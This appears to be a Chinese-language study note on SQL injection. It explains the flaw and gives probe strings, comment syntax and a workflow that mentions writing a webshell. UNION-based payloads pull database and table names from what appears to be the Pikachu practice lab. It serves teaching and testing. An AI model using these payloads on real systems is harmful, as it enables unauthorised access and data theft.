SQL注入漏洞
漏洞描述
web程序对用户提交的参数没有做过滤就直接放到SQL语句中执行,导致参数中的特殊字符打破了sql语句原有的逻辑,黑客就可以利用这个漏洞执行任意sql语句,比如增删改查
测试方法:
在发现有可控参数的地方使用sqlmap进行SQL注入检查,简单的可以手工测试,利用单引号、and 1=1 和 1=2
SQL注入的原理
sql注入漏洞产生需要满足两个条件
- 参数可控,从前端给后端的参数内容是用户可以控制的
- 参数带入数据库查询的:传入的参数会拼接到sql语句中,并且带入数据查询
当传入的参数为1'的时候:
select * from users where id=1'
此语句不符合语法规范会报错
当用户传入的参数1 and 1=1时
select * from users where id =1 and 1=1
因为1=1是真,所以会返回id是1的结果
判断是否存在注入
- id=1 and 1=1
- id=1 and 1=2
- id=1' or '1'='1'
- id=1" or "1"="1"
sql注释符
- --空格:单行注释
- #:单行注释
- /* 内容 */:多行注释
注入流程:
-
判断是否存在注入
-
判断字段数
-
确定回显点
-
查询数据库信息
- vince' union select database(),user() --
-
写入webshell
关于mysql注入相关的知识
在mysql5.0版本以后,MySQL默认有一个数据库叫information_schema库,库中有很多表,重点是这三个表:
- schemata
- schema_name字段,记录的所有库的名字
- tables
- table_schema 库的名字
- table_name 表的名字
- columns
- table_schema 库的名字
- table_name 表的名字
- column_name 字段的名字
union联合注入
联合查询注入是两个表进行注入攻击,使用关键词union select 对两个表进行联合,两个表的字段数量要一样,不然会报错
案例:
select * from students where stuid=1 union select 1,2,3,4,5,6 --
将union后面的数字可以替换成函数
select * from students where stuid=1 union select database(),2,3,4,5,6 --
union联合注入
1.判断sql注入
2.判断字段数
3.用联合注入获取敏感信息
vince' union select database(),2 --
获取到数据库名:pikejiu
4.获取表名
函数group_concat() #将字段分组并拼接成一个字符串(一行输出)
vince' union select (select group_concat(table_name) from information_schema.tables where table_schema="pikajiu"),2 --
获取单的表名:httpinfo,member,message,users,xssblind